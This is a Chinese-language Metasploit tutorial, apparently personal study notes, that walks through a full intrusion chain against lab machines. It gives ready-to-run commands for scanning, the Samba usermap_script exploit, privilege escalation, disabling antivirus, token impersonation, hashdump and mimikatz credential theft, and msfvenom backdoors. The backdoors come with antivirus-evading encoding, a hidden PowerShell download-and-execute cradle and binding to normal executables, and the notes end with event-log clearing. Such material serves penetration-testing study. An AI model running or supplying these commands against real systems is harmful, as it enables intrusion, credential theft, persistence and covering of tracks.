Metasploit简介
1. Auxiliaries(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
2. Exploit(漏洞利用模块)
漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码
3. Payload(攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在 Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行些命令,如添加用户账号等
4.Post(后期渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
5. Encoders(编码工具模块)
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。
6. 渗透攻击步骤
使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦察并发动攻击,大致的步骤如下所示。
- 扫描目标机系统,寻找可用漏洞。
- 选择并配置一个漏洞利用模块。
- 选择并配置一个攻击载荷模块。
- 选择一个编码技术,用来绕过杀毒软件的查杀
- 渗透攻击。
主机扫描
使用辅助模块进行端口扫描
辅助模块是 Metasploite的内置模块,首先利用 search命令搜索有哪些可用端口模块
portscan
下面以 TCP描模块举例。输入use命令即可使用该漏洞利用模块,使用 show options命令查看需要设置的参数
在 Required列中,被标记为yes的参数必须包含实际的值,
其中 RHOSTS设置待扫描的IP地址、
PORTS设置扫描端口范围、
THREADS设置扫描线程,线程数量越高,扫描的速度越多。
我们使用set命令设置相应的参数,也可以使用 unset命令取消某个参数值的设置。
使用辅助模块进行服务扫描
在扫描目标机器上运行的服务时,有多种基于服务的扫描技术可供选择,例如VNC、FTP、SMB等,只需执行特定类型的扫描就可以发现服务。
使用Nmap扫描
在 Metasploit中同样可以使用Nmap扫描
实际使用时,在msf命令提示符下输入nmap,就可以显示Nmap提供的扫描选项列表
现在我们要获取目标主机的操作系统,输入nmap -O -Pn/-p0 URl命令,其中Pn和-p0(数字0)参数的意思是不使用ping的方式,而且假定所有主机系统都是活动的,可以穿透防火墙,也可以避免被防火墙发现
漏洞利用Metasploitable2
首先对 Linux目标机进行扫描,收集可用的服务信息。使用Nmap扫描并查看系统开放端口和相关的应用程序
收集到目标机相关信息后,为其选择正确的 Exploit和合适的 Payload。从扫描结東中发现主机运行着 Samba3x服务。Samba是在inux和UNX系统上实现SMB( Server Messages Block,信息服务块)协议的一款兔费软件。SMB是一种在局域网上共享文件和打印机的通信协议,它在局域网内使用 Linux和 Windows系统的机器之间提供文件及打印机等资源的共享服务。
输入msf> search samba命令搜索 Samba的漏洞利用模块,并选择合适的漏洞利用模块
然后 Samba服务将返回漏洞利用模块的列表,按照各个漏洞被利用成功的相对难易度进行排序
因为 exploit/ multi/ samba/ usermap_script被标记为" Excellent”,即最杰出而且时间是最新的,为提高渗透成功率,这里选择此模块进行接下来的渗透有关漏洞的详细信息可以通过info命令查看
输入以下命令即可使用该漏洞利用模块use 13
使用show payloads命令即可查看该漏洞利用模块下可供选择的攻击载荷模块,因为目标是 Linux机器,因此一定要选择 Linux的攻击载荷。
这里使用set PAYLOAD cmd/unix/reverse命令选择基础的cmd/unix/reverse反向攻击载荷模块
设置被攻击主机IP地址,命令如下所示
msf exploit (usermap script)> set RHOST 192.168.200.25
设置漏洞利用的端口号,命令如下所示。
msf exploit(usermap script)> set RHOST 445
设置发动攻击主机IP地址,命令如下所示
msf exploit (usermap script)> set LHOST 192.168.200.6
攻击成功后,可以看到在攻击机和目标机之间会建立一个Shel连接,渗透Windows系统的过程类似,唯一的差别是选择的漏洞利用模块和攻击载荷模块不ー样。
手动提权
将session放到后台,使用local_exploit_suggester查询可用的exp
background
use local_exploit_suggester
show options
set session 4
run
从返回结果中发现有很多提权的漏洞能使用,这里用个最新的cve-2019-1458,成功返回一个新的shell给我们,并且是system,接着就是读密码了
后渗透攻击:信息收集
成功地对目标机器攻击渗透后还可以做什么? Metasploit提供了ー个非常强大的后渗透工具- Meterpreter.该工具具有多重功能,使后续的渗透入侵变得更容易。获取目标机的 Meterpreter Shell后,就进入了 Metasploit最精彩的后期渗透利用阶段,后期渗透模块有200多个, Meterpreterf有以下优势。
- 纯内存工作模式,不需要对磁盘进行任何写入操作
- 使用加密通信协议,而且可以同时与几个信道通信。
- 在被攻击进程内工作,不需要创建新的进程
- 易于在多进程之间迁移
- 平台通用,适用于 Windows、 Linux、BSD系统,并支持 Intel X86和 Intelx64平台。
进程迁移
在刚获得 Meterpreter Shell时,该Shel是极其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个 Shell把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。
输入ps命令获取目标机正在运行的进程
输入 getpid命令直看 Meterpreter Shell的进程号
可以看到 Meterpreter Shell进程的PID为1552,Name为shell.exe,然后输入migrate 296命令把Shel移动到PID为296的 taskhost. exe进程里,因为该进程是一个稳定的应用。
migrate 296
完成进程迁移后,再次输入 getpid命令查看 Meterpreter Shell的进程号,发现PID已经变成了296,说明已经成功迁移到 taskhost.exe进程里
进程迁移完成后,原先PID为1552的进程会自动关闭,如果没有自动关闭可以输入kill 1522命令“杀掉”该进程。
使用自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的进程然后迁移1
run post/windows/manage/migrate
系统命令
先收集系统信息
sysinfo
检查目标机是否运行在虚拟机上
run post/windows/gather/checkvm
可以看到目标机运行在VMware虚拟机上
现在检查目标机是否正在运行,输入命令后可以看到目标机最近的运行时间
idletime
接着查看目标机完整的网络设置
route
输入命令关闭目标机系统杀毒软件
run post/windows/manage/killav
启动目标机的远程桌面协议也就是3389端口
run post/windows/manage/enable_rdp
可以看到,我们已经成功启动了远程桌面
列举当前有多少用户登录了目标机
run post/windows/gather/enum_logged_on_users
可以看到系统有五个用户
列举安装在目标机上的应用程序
run post/windows/gather/enum_applications
输入shell命令进入目标机shell下面(乱码问题输入chcp 65001)
文件系统命令
- pwd或 getwd:查看当前处于目标机的哪个目录
- getlwd:查看当前处于本地的哪个目录
- search -f *.txt -d c:\ 可以搜索C盘中所有以"txt"为扩展名的文件,其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索
- download C:\test.txt /root 下载目标机c盘test文件到攻击机root下
- upload /root/test.php c:\ 上传root下testphp文件到c盘
后渗透攻击:权限提升
在 Meterpreter Shell下输入shel命令进入目标机的CMD命令行
接着输入 whoami/ groups命令查看我们当前的权限
接着查看系统的已打补丁,传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查询C: windows里留下的补丁号“log"查看目标机大概打了哪些补丁
同样可以看到目标机只打了2个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补丁编号与提权的EXP编 号进行对比。比如 Kitrapod(KB979682)、MS11-011(KB2393802),MS11-080(KB2592799),然后使用没有编号的EXP进行提权。因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用最新的MS16-032来尝试提权,对应的编号是KB3139914。
附:部分系统对应的补丁号
getuid //查看当前权限
getsystem //获取system权限
令牌窃取
令牌( Token)就是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动
我们先輸入 use incognito命令,然后输入 list_tokens -u 列出可用的 token
可以看到有两种类型的令牌:一种是 Delegation Tokens,也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问);
还有一种是 Impersonation tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取決于 MeterpreterShel的访问级别
我们已经获得了一个系统管理员的授权令牌,现在就要假冒这个令牌,成功后即可拥有它的权限。
impersonate_token WIN-2008\\Administrator
HASH攻击
使用Hashdump抓取密码
Hashdump Meterpretera脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要想访问就必须有“系统级”账号。所以要使用该命令就必须进行权限的提升在 Meterpreter Shell提示符下输入 hashdumpi命令,将导出目标机sam数据库中的Hash
hashdump
使用Mimikatz抓取密码
Metasploiti已经将其作为个 Meterpreterk脚本集成了,以便用户使用,而不需要上传该软件到目标主机上Mimikatz必须在管理员权限下使用,此时假设我们通过一系列前期渗透,已经成功获得目标机的 Meterpreter Shell(过程略),当前权限为 Administrator,输getsystem命令获取了系统权限
获取系统 SYSTEM权限后,首先查看目标机器的架构。虽然 Mimikatzl同时支持32位和64位的 Windowst架构,但如果服务器是64位操作系统,直接使用 Mimikatz后, Meterpretera会默认加载个32位版本的 Mimikatz到内存,使得很多功能无效。而且在64位操作系统下必须先查看系统进程列表,然后在加载 Mimikatz.之前将进程迁移到一个64位程序的进程中,才能查看系统密码明文,在32位操作系统下就没有这个限制。这里输入 sysinfo命令查看
64位系统,进程迁移一下
打开mimikatz
load mimikatz
这里显示mimikatz被改名成kiwi
抓取所有信息:系统票据和系统账户信息等
creds_all
kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令:
kiwi_cmd sekurlsa::logonpasswords
还有很多作用以后慢慢研究
后渗透攻击:后门
参数说明:
- –p (- -payload-options) 添加载荷payload。
载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了!!!
- –e 编码免杀。 -e x86/shikata_ga_nai
- –f (- -help-formats)输出文件格式。
- –s 生成payload的最大长度,就是文件大小。
- –b 避免使用的字符 例如:不使用 ‘\0f’。
- –i 编码次数。
- –c 添加自己的shellcode。
- –x | -k 捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
PHP后门
在 Metasploit中,有个名为 PHP Meterpreter的 Payload,利用这个模块可创建具有 Meterpreter功能的 PHP Webshell.。在攻击中使用 Metasploit PHP Shell的步骤如下所示
- 使用 msfvenom创建-个 webshell. php.
- 上传 webshell.php到目标服务器。
- 运行 Metasploit multi-handler开始监听。
- 访问 webshell.php页面。
- 获得反弹的 Metasploit Shell.
我们可以通过 Metasploitl的 msfvenom工具制作 PHP Meterpreter,命令如下
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > webshell.php
然后将 webshell.php上传到目标服务器,这里因为是虚拟机,所以就直接复制到Kali下的/var/www/html目录,打开 Webshell网址
(打开apache服务 service apache2 start)
接着启动 Msfconsole,使用以下命令设置监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lHOST 192.168.200.6
run
反弹成功,最后使用msf命令渗透目标主机
在msf上生成木马传到目标机器执行上线累死个人,还是一条命令上线比较舒服。
目标环境:
Centos6.5
1、选择exploit/multi/script/web_delivery模块,target>7
2、选择目标系统,我这里选择Linux
3、选择payload,我这里选择linux/x64/meterpreter/reverse_tcp
4、本机监听一下
5、运行,生成一条命令
6、目标机器执行上线。
7、获取一个友好的交互界面。 python -c 'import pty;pty.spawn("/bin/bash")'
Windows后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT= -f exe > shell.exe //32位 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe //64位
使用exe较为容易暴露,所以还可以使用DLL类型后门,运行dll需要使用C:\Windows\System32\rundll32.exe来运行
语法:C:\Windows\System32\rundll32.exe xx.dll,Start
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f dll >shell.dll
经常使用msf生成后门文件获取shell,但是经常使用的都是反弹shell,reverse_tcp。但是做了内网的靶场才发现,由于目标服务器不能出网,只能使用正向shell,这时才发现,自己对于正向shell,一无所知。再补充点笔记
生成正向shell后门文件,然后上传到目标机器上
msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe
配置监听
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 4444
run
运行后门获取shell
Linux后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=LPORT= -f elf > shell.elf
Asp后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT= -f asp > shell.asp
Aspx后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT= -f aspx > shell.aspx
Bash后门
msfvenom -p cmd/unix/reverse_bash LHOST=LPORT= -f raw > shell.sh
Python后门
msfvenom -p python/meterpreter/reverser_tcp LHOST=LPORT= -f raw > shell.py
exe 利用exec执行powershell后门
msfvenom -p windows/exec CMD="powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.0.104:8080/4WFjDXrGo7Mj');" -f exe -e x86/shikata_ga_nai -i 6 -o msf.exe
清理日志
clearev
run event_manager -c